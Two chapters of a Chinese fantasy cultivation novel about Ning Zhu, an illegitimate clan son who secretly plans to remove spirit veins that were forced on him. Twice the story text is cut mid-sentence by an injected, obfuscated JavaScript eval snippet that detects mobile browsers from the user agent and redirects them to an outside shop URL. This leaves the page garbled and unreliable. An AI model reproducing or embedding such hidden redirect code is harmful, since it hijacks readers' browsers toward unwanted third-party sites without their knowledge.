《抢救天崩开局从卸载金手指开始》 1. 唤灵仪式 “轰!” 又一道灵力冲天而起,红色辉光凝成光柱,一时间连空气都灼热几分,让人呼吸都有些不适。 宁竹悄然拧起眉头,身前带路的男孩着急地“哎”了一声,又回头恶狠狠地剜他一眼。 也不给宁竹反应时间,男孩猛地用力一蹬,淡红的灵力便在他脚下拖曳出一道残影,接连几个闪身便登上问灵峰顶。 宁竹一言不发地跟上,几个跃步便悄声落在平台角落。 今日是宁家一年一度的唤灵仪式。这是独属宁家的大节日,凡是怀有宁家血脉的孩子,年满六岁时都要来参与。在仪式上,少数被天运偏爱的孩童会觉醒灵脉,从修炼伊始便站在远超同龄人的起跑线上。 就比如此刻沐浴在光柱下的这个女孩。 眼前冲天的光柱逐渐消散而去,空气中活跃的火元素却还没有消停的迹象,站在祭坛旁侧的老者用拐杖点了一下地,动作平缓,分明没用什么力,却瞬时震得躁动的火元素平息下来,热意如潮水退去,宁竹这才撤了体内运转起来抵御热意的灵力。 宁竹今年十五,早在三年前就唤醒了灵脉,今年的唤灵仪式本该和他关系不大,但唤灵仪式是宁家的重要节日,理论上是内族所有怀有灵脉的少男少女们都必须前往参与。 不过那也只是理论上,毕竟今年是宁竹第一次前来。 他站在平台最边角,不远处的祭坛下人山人海,各自小声交谈,叠在一起的音浪此起彼伏,扰得人心生烦躁。 宁竹抚上丹田。他来时提前阻隔了灵力的运转,火灵脉的躁动却还是难以平缓,甚至隐隐有将自己体内的其他灵力吞噬转化的意味。 这情况宁竹虽是早有预估,但骤然的变化还是超出了他的掌控预期,不由得令他烦上加烦。 灵脉有什么好的。 宁竹心头冷笑。他心念一动,灵力精确地堵住一条经脉,逼迫那火灵脉消停下来。 他无声行动时,台上那老者笑眯眯地抚了抚胡须,望向站在祭坛中央的女孩:“恭喜,火元素单灵脉。” 给宁竹带路的男孩已然跃上祭坛,没待女孩有什么反应,他抱起女孩便是猛转几圈,笑声几乎要传到对面峰头:“不愧是我妹,果然跟哥哥一样厉害!” 十来岁的孩子尚不懂察言观色,他这一声是欢喜,底下面色难看人的闻言是脸色又沉了几分。 宁竹面无表情地打量周围一圈,果不其然,这些前来测灵的人群已是自觉分成了三批人。 一批跃跃欲试,是没测的;一批面如死灰,是测了无灵脉的;而站在长者其后的,人最少的那一批—— “行了,知道你小子高兴,可别在这站着碍位置了,下去庆祝。” 老者一副慈爱长辈的模样,男孩喜笑颜开地喊了一声“多谢三长老”,又抱着自家妹妹钻进了他身后那一批人里,得到少男少女们同样欢喜的祝福。 三长老点点头,刚要叫下一人,余光却瞥见了站立角落的不和谐身影,登时是话头一转:“你迟到了。” 他这话一出,所有人都盯了过来。 “又是宁竹……” 周遭静得针落可闻,于是有谁不满的牢骚自人群里传了出来,宁竹面不改色,只是抬眼望向故意将他置于众矢之的的三长老。 “小竹,”他身后那批测出灵脉的人里,有人打破这令人窒息的沉默,扬起手喊他,“这里,来!” 宁竹的视线越过面色骤然一僵的三长老,同那朝他挥手的少年对了眼。他抬步走过去。 直接被当成空气的老者冷哼一声,大抵是和这个向来不服管教的小辈计较有失颜面,他看向今年剩下的几个苗子:“下一个到谁了,上来。” 马上有小孩被家长推了出去。 朝宁竹招手的少年见他人过来了,便放下手,笑得温和,只是他边上的人趁着他看不见,毫不收敛地对着宁竹一翻白眼。 宁竹故意恶心对方,大步往少年身侧挤了挤,生生把那人挤退了一步。 “宁殊哥。”宁竹喊他一声,就当回应了少年之前帮自己解围。 “来了就好,”名唤宁殊的少年丝毫不介意他的迟来,只是同他介绍情况,“灵脉共鸣对我们这些灵脉者都有好处,多熟悉一下,对你日后修炼有好处的。” 宁竹“嗯嗯”地胡乱应着,思绪显然没在接收宁殊发送的信号。 . 这片大陆名为天乾。 灵力充沛,元素繁多,与万千生灵共鸣,甚至连极少数物件也能因机缘巧合获得灵智,可以说,只要是人,就必然会感应到天地灵气的召唤,走上修炼之路。 天乾大陆,自古以来便是强者为尊。哪怕是一介草根,只要实力够强,一样能得到各方势力的青睐,从此飞跃龙门,受人敬仰。 而凡是强者,均是以单一元素修炼到极致。 这便形成了天乾大陆的修炼风气。 虽是所有人生来便拥有感应天地元素的能力,但并不能保证所吸纳的灵力元素纯粹,在第一步吸收时一旦没有加以控制,便很容易变成五种元素俱全的五灵属。 属性并非越多越好。打个比方,人体就如同一个容器,容量只有这么大,五元素都有也便代表每种元素只有一点,往后修炼难,精进难,而随着年岁增长,灵属混杂交织一起,想要剔除更是难上加难。 寻常人家小孩三岁时就要被父母逼着打坐,一旦孩子展现出对某种属性的偏爱,便带到元素更为浓稠的地方去感悟:水属性往江河湖泊去,木属性便往草丛林子里去,以争取对应的元素能占更多份额,保未来的修行之路。 如此童年可谓是每个草根修行者的噩梦,就连有几分家底的家族也要请专人来看护幼童,协助幼童第一步吸纳的元素不出错。 而宁家,在这几乎影响了整个修炼道路上的第一步上,却表现得极为反常—— 无论内族外族,凡是有宁家血脉,小孩都可以无忧地玩耍成长,直到六岁,被父母带到问灵峰上。 灵脉是宁家特有,通过仪式直接唤醒,又有专人看守,其过程虽然对家长心脏不太友好,但对接受唤醒的孩童而言只是被灵力包裹了,随即得到感召的灵脉苏醒。 这个六岁之前从未感应过灵气元素的空白容器,将在灵脉觉醒的一刻,永久地拥有灵脉对应的元素属性。 ——一步登天。 寻常修者修炼,要从吸纳灵气、练体锻筋开始,这一阶段,通常被称为散气。 散气混沌,元素繁杂,稍有不慎便会在吸收时混进其他属性的灵气,只有将散气凝练,将体内存储的灵气凝炼,结一道能够自行运转、吸纳同属性灵气的灵源,才不必费劲心力去剔除空气中元素繁多的灵气。 灵源自古被视作分水岭,只有成功凝源,才算得上真正走上修炼之路。 而灵脉从起步阶段就发挥了灵源的作用。这些身怀灵脉的孩子从来不知道什么叫功亏一篑,又什么叫前功尽弃。 散气到凝源,对于灵脉者是一条没有岔道的笔直大路,他们只需要修炼,最终凝结与灵脉元素一致的灵源便是顺理成章。 也因此,即便是在宁家看起来已是极为驳杂的三灵脉,其纯粹也足以让外界绝大多数寻常家庭咬碎牙根。 但灵脉到底不是谁都拥有,就比方现在祭坛上的小孩。 灵力先后在他身上流转,即使是刚入门的修行者也能感受到其灵力的温润醇厚,可小孩身上没有一丝一毫的回应,不出片刻,那灵力便被长老挥散而去,他摇摇头,无声宣告了小孩的失败。 登时台下那对父母白了脸色,又艰涩地互相宽慰,上前招呼孩子下来。 . “宁家有完整的修炼流程,没有觉醒灵脉,也不必忧愁浪费了几年时光,”宁殊侧过脸,看见宁竹视线一动不动地望着台上,以为他是不解,便解释道:“外族学堂有老师教导,最不济也能保个三灵属。” 他顿了顿,视线紧盯着宁竹的脸,不愿放过他一丝一毫的表情变化一般,意有所指地补充道:“毕竟……剔除驳杂灵属也是宁家的招牌。” 宁竹如梦初醒般回神。 他望过来,不咸不淡地应了一声:“噢。” . 宁竹年纪不大,十五的年岁应当是充满朝气与活力,可他稍显稚嫩的脸上却难以捕捉情绪波动。 宁殊心下叹了一口气。 宁竹是三年前才被带回家族的私生子,在此前,他是坊间有名的单灵属天才。 他修木属,年仅十岁就越过寻常修者的第一道坎,灵气凝源。 宁家有完整的凝源教学指导,而当时还流落在外的宁竹,是在无人指引的情况下,靠自己摸索完成这一步的。 宁竹修炼天赋之高,就连宁家多数的单灵脉者都赶超不及,可以说,三年前的宁竹是坊间家长们口中的榜样,众多孩童修炼路上的噩梦。 但就是这么一个木灵属的天才,被带回家族后第一时间带到问灵峰上,强行唤醒灵脉。 那天宁殊也在场。他记得那天宁竹在茫然中站立祭坛正中,他也记得宁竹身上先后亮起的红蓝两道灵脉。 宁殊在此前一直有过疑问:如果一个人在灵脉苏醒前,修炼了与灵脉相克的灵属会怎样? 而那日宁竹给了他答案。 宁殊清晰地看见了,两道属性相冲的灵脉先后苏醒,引发的灵力光柱冲天而起,相互交织纠缠。 那红与蓝之间一道浅绿的光柱极力抗争,站立在祭坛中央的少年痛苦地嘶吼着,光芒之下宁殊看不清楚他的神情,只望见了三种颜色自他丹田亮起,游走全身经脉,甚至一度冲撞心口。 三种灵力互不相让,竭力想要撕碎彼此,红蓝两道光点疯狂蚕食着剧烈旋转的灵源,狂暴而肆虐地在这具身体里打起争夺战,后来者终究抵御不了深埋血脉中的灵脉,绿色的光芒消散暗淡,大盛的红蓝光柱之下,宁竹跌倒在地,咳呛出一大口精血。 宁殊慌忙要去扶起他,却恰恰好他抬起头来。 宁殊对上了他的视线。 对上了他那双充斥着愤怒与怨恨的眼。 宁竹没坚持多久,他晕倒过去,宁殊却僵在那,伸出的手悬在半空中。此后周遭如何他都记不得了,脑海中挥之不去的是宁竹那双眼。 如何不恨?宁殊扪心自问。换做他自己,如何不恨? 灵源破裂,修为暴跌。 天才顷刻间陨落,从顶尖的单灵属变成与平庸大众无异的三灵属,仅仅只是因为他有宁家的血脉,被宁家视若珍宝的灵脉强行干涉。 宁殊心怀愧疚,宁家长辈却不以为意。 宁竹本就是一介私生子,对宁家名声不好是其一,其二是……宁家有能力养他一辈子。 如若他还想修炼,宁家有办法帮他剔除木属,此后只以水火双灵脉进行修炼;如若他就此摆烂不干,以宁家的家底养一个废人也轻轻松松。 宁竹就以这般尴尬身份地位在家族里过了三年——一开始还有人会招呼宁竹,可随着宁竹持续的冷脸相待,最终只剩下了宁殊还在试图让他走出那日的阴影。 前两年的唤灵仪式他都邀请了宁竹,宁竹连应一声都未曾。 而今年,宁竹破天荒地来了。 宁殊心底是高兴的。他小心地试探宁竹的想法,想知道他是否愿意再度回到修炼的道路中,但宁竹显然并不想让他知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205079|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己内心所想。 宁殊不介意。宁竹愿意参与家族的活动了,总归是一件好事。 . 转眼间又是几个孩童上前测试完毕,都没有唤醒灵脉。这倒也正常。在宁家,拥有灵脉的才是少数。 小孩们测试完,三长老又看了一眼没测的那批人里,几个年岁同样不大的孩子正满眼期盼地望着祭坛中央。 他又没什么好气地哼了一声:“要复测的,自己上前来。” 那几个明显不止六岁的小孩从人群中走出来,快速上了祭坛。 这些人多是往年没测出灵脉的,不死心想要再度测试。 拥有灵脉的孩子身份会从外族晋升为内族,得到家族更多的资源倾斜,这让许多旁支外族都羡慕不已,期盼自己的孩子恰好是那个天命之子。 往年只允许六岁的孩子前来,而这几年,又放宽了条件,允许前几年测试没测出来灵脉的孩子复测。 这一条,是宁竹被带回来后才加的、宁殊极力争取来的规矩。 但唤灵仪式从未有过纰漏,开放复测的两年来都没有被错过的灵脉出现,三长老对这些人也是兴致缺缺。他和大部分人一样,都把他们当成做白日梦不醒,想靠灵脉翻身的幻想家了。 三长老看向其中一个年岁最大的,他问:“宁衡,你今年十二了吧。” 人群里有人没憋住笑出来声,叫宁衡的少年面色稍白,视线游移着,望见了长老身后不远处的宁竹,顿时少年便像是得到了无尽的底气,理不直气也壮地回复:“长老,宁竹可以,我就不行?万一……万一呢?” 说到最后他还是底气不足地虚了尾音。 . 宁竹,宁竹,又是宁竹。 三长老面色不善。宁家给宁竹多少好处,好到外族人都妒忌得动不动就拿宁竹作比较,这宁竹却是从未对宁家有过好脸色,丝毫不懂感恩。 三长老心里想着的到底没说出来,他语气敷衍,手一招,浓郁的灵气便落在祭坛上:“那就试试吧。” . 几乎所有人的目光都紧紧地盯着祭台中心那几人。 宁竹同样看着,他悄无声息地解开自己封堵住着经脉,等待着台上异变的发生。 磅礴的灵力包裹住台上的人,几乎浓郁得凝聚成实体,是呈温润如玉石般的透亮。宁竹听到了身后的人低低嗤笑了一声,有人跟着嘀咕了句“白日做梦也该到头了”,还没等其他人接话,空气骤然一滞—— 莹如玉的灵力上突然染上一点异样的蓝,瞬息之间将周身的灵力同化,浅淡的蓝澈如水,下一瞬,一抹柔和的绿开始从中蔓延。 “灵脉!” 有人惊呼一声。 “居然真的有人第一次唤灵没成功?” 不知道谁诧异地问,但显然在场也没有人能回答他。 少有的几个修水木属性的灵脉者当即释放了自己的灵脉,而空气中逸散的水木元素已然开始被牵引,向着台上那人卷去,形成的风暴裹挟着灵力冲天而起,聚成一道颜色奇异的光柱。 宁殊小心地用眼角余光望向宁竹,少年面色平静,身上释放出浅蓝色的辉光,正是水灵脉外放灵力的象征。 宁殊心下松了一口气。 . 他视线刚撤走,宁竹便转了眼珠子看他一眼。 宁竹知道他这个堂哥想的是什么。 但可惜,他大概是要让宁殊失望的。 如果说宁家所有灵脉者都想借用灵脉来维持元素纯粹,那么宁竹,就是这宁家最离经叛道的那一个。 他缓缓抚上自己的丹田,浅绿色的灵力在一片或蓝或绿的辉光中并不显眼,却在他指尖逐渐凝聚成细长尖锐的针状。 他掌心一转,针尖没入血肉之中,少年脸色微微发白,却也一声不吭。被封堵了灵力运转关键位置的灵脉强制平息下来,宁竹胸口一钝,他的呼吸骤然停滞了几息,蓝色光辉逐渐黯淡下去,他这才小心地缓缓呼出浊气。 生生堵住自己的脉络并不是什么舒服的体验,狂躁的灵力在经脉中冲撞,震得宁竹指尖阵阵发麻。 宁竹周身的蓝色辉光先周围人一步散去,但好在所有人都望着台上,没有人在意他这个无所谓的私生子。 宁竹稍稍闭眼,意识内观,一遍一遍描摹灵脉躁动时灵力流转的脉络,生怕自己忘了一般,又将先前被引动的火灵脉也描摹了一遍。 台上那人觉醒的是水木双灵脉,而宁竹分明身有水火木三种属性,回应它却只有那条水灵脉,甚至因为他的情况特殊,宁竹无比清晰地感觉到了灵力在如何变动。 水灵脉贪婪地吸纳空气中被调动的水元素,他体内的火灵脉被水灵脉压制,似乎是受到威胁般自动抵御,同样开始躁动起来。 而那唯一没有灵脉做底,由宁竹一点一点辛苦吸纳而来的木灵属,迅速化为两道灵脉争夺之战中的消耗品,在水与火的倾轧争夺中节节溃散。 呵。宁竹心底讥笑一声。也难怪宁殊先前和自己说,“剔除驳杂灵属也是宁家的招牌”。 . ——但那又如何? 灵属能剔除,灵脉如何拔不得? . 宁竹地视线缓缓扫过在场所有人,他们眼含热切,有期盼,有欣喜,也有妒忌,与怨恨。浓烈的情绪被灵脉调动,而宁竹只是平静地看着,他站在人群中,却是最为人群外的那一个。 三年时光没能让他融进这个大家族一步,今后也更不会了。 宁竹紧紧地握住拳头,指甲嵌入掌心,留下过深的印痕。 他想做的,他要做的—— 是拔除这两道扰乱他人生步调的灵脉! 2. 闹剧 台上的光柱还未散去,台下的人群忍了又忍,终究还是败给了八卦的天性。 身后有人往前挤了挤,没留神撞了宁竹一下,又立马弹开了,仿佛沾上了什么脏东西般“哎哟”地怪叫起来,动作夸张地拍打自己的衣袖。 站在最前方的宁殊皱起眉头,他侧过身,还没待他有更多反应,马上有人凑上来打听了:“哎,看见了吗,水木双灵脉,是谁啊?总不能是那个宁衡吧。” “不是他,看着面生,应该是外族的。”那人面上虽然还有着几分不悦,但提起宁衡,幸灾乐祸的情绪立马替代了脸上的嫌弃,“宁衡那家伙,做了三年大梦,早该醒了!” . 宁家分内族外族,若是父母其中一方为灵脉者,孩童拥有灵脉的可能性更大,因此孩童出生便能享受内族待遇,而六岁时若是没能觉醒,再分配到外族去。 如此规矩天然形成了阶级差距,有灵脉的孩子自觉高人一等,言辞也自然恶意流露,而宁衡,很不巧,恰好就是那个父母都是灵脉者,却没能觉醒灵脉的倒霉小孩。 如此落差令他痛苦了三年,而他九岁那年,宁竹情况特殊的觉醒、宁殊争取来的规矩却令他看到希望。 于是他年复一年地、不死心地参与仪式。但希望越大失望便也越大。第三年,十二岁,他还是只是散气八阶,连九阶都未曾达到,更遑论到凝源那一步。 宁衡深深地吸气、却始终无法平复自己躁动的心跳,他用力攥紧拳头,妄图以此压制失控发抖的手指。那人嘲笑的声不大,可似乎是身侧的灵气牵动了风,于是那句嘲讽传进他耳朵里,字字分明,声声清晰。 他眼前有些发黑,周围人的身影扭曲成了一双双凝望过来的眼,眼底是嘲弄,是蔑视。 而他的身侧,受天命偏爱的女孩欣喜若狂,站在风暴中央,坦然地接受着水与木的冲刷。 为什么……不是我? 他的指尖动了动。很近、很近,只需要一下…… 一滴冷汗自他额角淌下,又砸进地砖,啪的一声,犹如某种指引—— 他循声望去。 名为竹的少年站在人群里,身型挺拔,分明离得远极了,宁衡却看见了他的眼睛,是与周遭截然不同的平淡,自己的身影似乎映不入他的眼。 是的、是了。 ——这还有个故作清高,不知感恩的。 宁衡表情忽的扭曲起来,脚边一枚石子随之震颤,在灵力风暴的影响下这点波动微乎其微,于是突兀的破空声击碎灵力牵引出的美妙韵律,众人只觉得眼前一花,随即“嘭”的一声,宁竹面前扬起一片尘土,身前碎石散落。 “怎么回事?” 人群本该再一次喧哗起来,可除了那一声急迫地问询便再无声息,所有人都感受到,恐怖的威压陡然降临在这片祭坛上,台上的宁衡脸色骤白,扑通一声,他在众目睽睽之下被压着跪倒在地。 “宁衡!” 三长老面色极其难看,原本和蔼老者的形象一扫而空,他握着拄拐的手只轻微用力几分,台上跪伏的少年便剧烈咳嗽起来,一双手死死撑着地面,身体抖如筛糠。 “长老。”宁殊突然喊了一声,视线便朝着宁殊集中而去。他面色如常,声调却极尽冷冽:“我来。” 宁殊上前一步,正正好碾过那些碎石,他的手上还留着灵气调动时带来的浅金色辉光。 那枚石子是他击碎的。 “……少族长终于想起来自己的身份了?” 长老冷哼一声,威压散去,拼尽全力强撑着不倒地的少年终于得以喘息。 宁衡脸上有悔,宁殊看见了。 可悔和愧不一样。 ——他只是后悔自己在大庭广众之下突然暴起,他没觉得自己做的是错的。 . 宁殊眼神越发冰冷了,宁衡却仍不知大难临头,宁殊越是护着,他越是不甘。 委屈需要倾泻,怒火需要宣泄,或许他本可以忍受——如果没有宁竹这个全然相反的例子。 他骤然嘶吼起来:“凭什么、凭什么?!” “凭什么这么护着一个野种!就因为他有灵脉?!” “谁知道他的灵脉是怎么来的?!” “我——” . “够了。” . 宁殊手指轻轻一抬,空气中一缕银光闪过,紧接着宁衡再也吐不出半个字音来。 “带下去。” 围上来的护卫队听从少族长的指令,毫不留情地抓起宁衡,少年还想反抗,却是被猛地钳住了臂膀,手上顿时卸了力,惨白的脸上露出吃痛的神情来。他被按着押往台下,却不死心地挣扎着回过头,双眼直直盯着宁竹,表情扭曲到几近狰狞。 . 宁竹只觉得倦了。 他的视线先后在三人身上流转,分明是险些被袭击的当事人,他却像是没有自己应当有点情绪波动的自知。 他摇摇头,往后退了两步。身后的人群都是年岁不大的少年,第一次遇见这种事,一时间都有些手足无措,宁竹要走,这回倒无人说他什么,只自觉让了道。 “小竹,”宁殊的视线移了过来,作为把他喊过来的人,宁殊理应为此向宁竹道歉,“……他说的,我会让他一一向你道歉认错。” 可宁竹却笑了一声。 “他说的不对吗?” 如果不是灵脉,你会对我这么好吗? 宁竹转身离去。 一场闹剧陡然落幕,台上台下寂静无声。 本应该成为视线焦点的外族女孩怯生生地喊了一声“长老”,三长老这才转了视线,对着这颗沧海遗珠温和地补上一句“恭喜”。 . 是夜,乌云蔽月。 宁竹在小院里盘膝而坐,微风阵阵吹拂,连带着周身青草一并摇晃。 呼气、吸气,宁竹平静地吸纳天地灵气,再一一分解,只留下自己需要的木灵气,自体内经脉运转,化作灵力汇入丹田。 水火两道灵脉倒是不怎么客气,几乎不用宁竹刻意操纵,水火灵气便被提炼而出,堆在丹田里又打起争夺战来。 没被归纳的灵力飞速消耗,纵使宁竹已经提前封了部份经脉,水与火仍倔强地蚕食起木灵力,企图驱赶这个后来者,好腾出更多空间来发展自身。 这就是宁竹每日修炼都需要面对的难题,灵属冲突。 但三年时间已经足够宁竹对此习惯了,他平静地吸纳,转化,纵使最后真正被吸收的不过九牛一毛,他仍坚持不懈。 他的修为自三年前跌入散气九段之后便再难精进,有时赶上水元素活跃的阴雨季,或火元素蓬勃的三伏天,宁竹吸收的木灵力甚至都还没有消耗的多。 三年里,宁竹甚至跌入过几次八段,又倔强地再次修炼上来。 如今三年过去,宁竹仍然卡在凝源这一步。 宁殊劝过他放弃木属,以他的悟性再一次凝练灵源也并非难事,宁竹从没回应过,后来,宁殊也不再提了。 宁竹的呼吸逐渐变得绵长,仿佛融入这片不大的草地里,随着草叶摇晃的频率缓缓运转自己的灵力,感受着植株舒展枝叶时的轻松快意。 草木总是令人心生平和,宁竹能平心静气熬这几年,来自草木的疗愈功不可没。 只是灵源破裂,终究令他无法回到以前的精细感受,那时候,他甚至能捕捉到草木的情绪。 ——等等。 宁竹呼吸骤然一滞。 微妙熟悉又极其陌生的感受骤然闯入他的感知,宁竹恍惚中看到一阵巨大的风暴如浪潮直扑而下,周身分明清风徐徐,可他却感知到满地的植株在—— 震颤。 . 他猛地睁开眼。轻风还在吹拂,附近的树枝却摇摆得不正常,枝叶摩挲的声音不再悦耳,反倒显得极为嘈杂。 不是错觉。 宁竹肯定了自己先前的感受。他深深吸了一口气,这种异象显然预示着某些不寻常的事情在发生,但此时此刻,宁竹却没有丝毫的手段去探究。 他站起身,轻轻拍了拍身上沾上的草屑,他还想放出灵力去接触植株,却听见了有人靠近的脚步声,他抬起的指尖还是放下了,宁竹偏过头,看着那抹鬼鬼祟祟的影子翻过小院围墙—— 然后一脚绊到树根差点没给摔进池塘里。 宁竹悠悠叹了一口气:“我说过了,走正门不收钱。” “哟,今天这么客气?居然还在外面等我。”来人倒是一点不尴尬,少女拍了拍身上的灰,咧嘴笑起来:“再说了,翻墙这可是仪式感,仪式感懂不懂!” 宁竹不懂,也不想懂。 . 来人名叫宁辞,是宁竹偶然捡到的……算是一个小贼。 她只小了宁竹一岁,身无灵脉,是外族人。按规矩说,的确不方便夜半三更光明正大地走大门,被巡逻队的逮到了,免不了一通复杂的解释。 宁辞咂了咂嘴,朝宁竹抬手,示意他看自己手里的包裹。 “喏,你要的东西我带来了,老规矩一手交钱一手交货啊!” 宁竹顺着应了一声“行”,他往屋里走去,不等他招呼,宁辞便很是自然地跟了上来。 她嘴上说着一手交钱一手交货,实际进了屋,宁辞便随手把包裹放在宁竹桌上了,不仅点儿不带提防,还不客气地打量着他的屋,并发出和上一次别无二致地感叹:“你这屋什么时候能不这么寒碜?” “我滚出宁家的时候?”宁竹随口应声,他打开抽屉,拿了个白瓷瓶子出来,同样置于桌上。 “你这话也就跟我说说得了。” 宁辞“啧”了一声。她的视线自宁竹打开抽屉时便是紧紧黏在瓶子上,他刚放下,宁辞便是动作飞快地捞起白瓷瓶,木塞盖一打开,顿时温润醇厚的药香飘逸而出,她又立马堵上了瓶口,唯恐药香外泄导致功效减弱。 她做完这一切,才后知后觉意识到话刚说了一半,又绕回去补上后半句:“……让其他人听见你这么说,又该发红眼病了。” 宁竹倒是对其他人的偏见毫不在意,他随意道:“无所谓。精力全用来妒忌我,也难怪这么多年还只是废物一个。” . 宁家每月月初都有分发资源,虽然宁竹明摆着不打算和宁家和解了,但作为身怀灵脉的内族人,宁竹每月分到的资源从未有过短缺,其中就包裹宁家的独门药剂——聚灵散。 不知是否是宁家对自己的药剂质量太过自信,取的名字一个比一个随性,比如这瓶聚灵散,便是直接以功效为名:短时间提高对自然灵气的亲和力,达到修炼事半功倍之效。 东西是好东西,但对目前身怀三种灵属的宁竹来说,无差别提升亲和力,只不过是让他本就混杂的灵力乱上加乱。 所以,他拿了药剂的第二天,就去坊市换了一堆药草回来。 第二个月拿了物资,宁竹原本打算继续上个月的做法,结果一觉醒,来放在桌上的白瓷瓶没了,随之取代的是一桌子乱七八糟的草药,甚至还有不少沾着泥土水露,新鲜得离奇。 于是第三个月,宁竹通宵到半夜,逮到了又背着满包裹草药来的宁辞。 宁辞是金木双属,主修金,虽然对外界寻常家庭来说,双灵属已是难得一见的好苗子,但放在宁家这个天才辈出的大家族里,自然是显得有些不够看了。 宁家的资源天然倾向身怀灵脉的内族人,在待遇上,哪怕是单灵属但无灵脉的天才,也只能堪堪和三属性灵脉的内族人相比。宁辞还想更进一步,就得付出加倍的努力去追赶,而宁竹不要的聚灵散,正是加速修炼的捷径。 那天夜半被逮住时,她倒一点不见慌张,还对着宁竹振振有词:“反正你也是要拿去卖了,不如卖我呗,你要什么草药,我去准备就是了!” 这话说得宁竹不可谓不心动——他的确需要非常多的草药。 虽然有着内族身份,宁竹可以直接去药堂申请,但毕竟他要的都是带毒的危险草药,即便是少量多次地往外带出,以宁竹的特殊出身,也迟早有人会注意到不对。 此时有人能帮他处理这些,倒是正中宁竹下怀。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205080|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一拍即合,以物换物的合作关系就此成立,宁竹每个月开一张单子给宁辞,宁辞在下月来时带上草药换宁竹这个月分配到的药剂。 早些年,宁辞也红眼过宁竹的不识好歹,但随着接触得越来越多,宁辞现在只觉得宁竹不容易了。 毕竟被人打断了骨头又把饭强塞进嘴里……和她这种身体健全但自力更生的比起来,还真好不了多少。 . 见她把瓷瓶塞进口袋里后,宁竹才慢悠悠地打开她的包裹,一一清点起来。 天星草、万针果、长蛇藤……一如既往的新鲜,根系都还纠缠着泥土,想也知道宁辞是前不久才从山里头下来的。 说来也怪,宁家对身怀灵脉的内族少年们有着诸多限制,对外族反倒奉行死不了就随便活的散养方案。 宁竹没兴趣探究原因。只要能搞到他要的东西,不管宁辞是以什么方式都可以。 “啧啧。”宁辞咋舌几声,不客气地给自己倒了水,又八卦起来今日午时听到的风声:“听说宁衡那家伙被关了禁闭?” “是吗?”宁竹手里头分着草药,嘴上敷衍回应。 宁辞诧异:“不是吧哥!他都那样点着你骂了,你都不在意啊?” 宁竹眼都不抬:“宁殊哥说他会处理。” 宁殊是宁家当今族长的唯一血脉,也是族内外公认的少族长,小辈之间的纠纷,理论上再怎么着也轮不到他来处理。宁辞“呃”了一声,又八卦起别的来:“少族长怎么那么护着你啊,你该不会是族长的私生子吧?” 她刚说完又立马进行自我否定:“不对啊!那你要是族长的血脉,少族长提防你还来不及呢。” 宁竹沉默了片刻,他抬起头:“外头已经传成这样了?” “什么啊,你还是真两耳不闻窗外事,那是好早之前的说法了。”宁辞摆了摆手,笑得甚是不怀好意:“外面现在的主流说法,是少族长是不是对你有意思。” 宁竹:“宁殊哥对我有没有意思我不知道,但我知道让宁殊哥听见你们这么说,他会让外堂老师给你们加功课。” 宁辞笑得僵住了,她揉揉脸,尴尬地转移话题:“你不说,少族长肯定不会知道的!而且加功课了,我就没有时间去给你找草药了,你也不希望吧!” 宁竹闷笑了一声,言语间他已经把清点完毕的草药归纳收好。 他起身准备去拿早写好的清单,又忽的想起来先前在外头感受到的异常,他顿了下,状似随意地问道:“你之前来的时候有没有感觉到什么?” “什么?”宁辞疑惑,“嘶,你说巡逻队?放心吧,影都没见着,我的潜行技术还是靠得住的。” 宁竹闻言没再追问,只点了点头表示了解。 “下个月的草药单子。”他递给宁辞一张纸,想了想,又补充一句,“除了这些,我还需要青月花的籽,能搞到吗?” 宁辞接过单子的手一顿,她诧异地看了一眼宁竹。 这是这几年下来,宁竹第一次提到要灵植。 他以往要的都是常见的野草,基本上都能在宁家附近的山上找到,宁辞便是主打一个能省就省,动不动就往山上跑。 但青月花不一样。灵植是在机缘巧合下,受天地灵力眷顾而生长出的、与生俱来就含有灵力的植物,虽然青月花充其量只能算一阶灵植,但总归到底不是什么容易搞到手的山间野草了。 “年限,有要求吗?” 作为医修大家的宁家自然不缺这点储备,但无论是宁竹还是宁辞,都不可能从宁家药堂去取。 “三年起,五年以上最好。” 宁辞又“啧”了一声:“你这个……不好办啊!” 宁竹毫不意外,他从抽屉里拿出来另一个白瓷瓶。 宁辞当即直了眼,会用白瓷瓶来装的,一般也只有药物,但这些年宁竹的聚灵散基本都被她拿去了——眼下这一瓶是什么? 她的手欲伸又止,宁竹倒是不和她卖关子,直截了当地塞进她手心里。宁辞视线在他和瓶子之间流转,而宁竹显然没打算和她解释这一瓶是什么东西,只平静地看着她打开瓶塞。 浅淡的、只是轻轻一闻便让人本能警惕的苦涩。 这个味道,她以前闻过。 宁辞脸色一变,她小心翼翼从瓶子里倒出一滴汁液,只肉眼去看,是朴实无华的棕褐色,可宁辞的感知告诉她并非面上这么简单。 药汁很快被肌肤吸收了,而她的灵力在药的作用下躁动,如同某种应激反应,体内流转的灵力自行抵御起来。宁辞心念一动,刻意撤去防御的灵力自然呈现出最原本的模样,金绿交融的色彩在药物侵蚀下飞快散去,只留下纯粹的——浅金色。 “化灵散?!……你怎么会有?”她的面上终于没有了之前的随意,音量都不受控地提高了,“少族长给你的?不对,宁家出品的不长这样……你、你从哪里搞来的?” 宁竹对她的反应不意外,只是摇头:“不该问的别问。” 宁辞还想说些什么,但终究是顿了又顿,把满腹地疑惑压下了,手上飞快收好了那瓶化灵散。 “什么时候要?”她把话绕了回去。 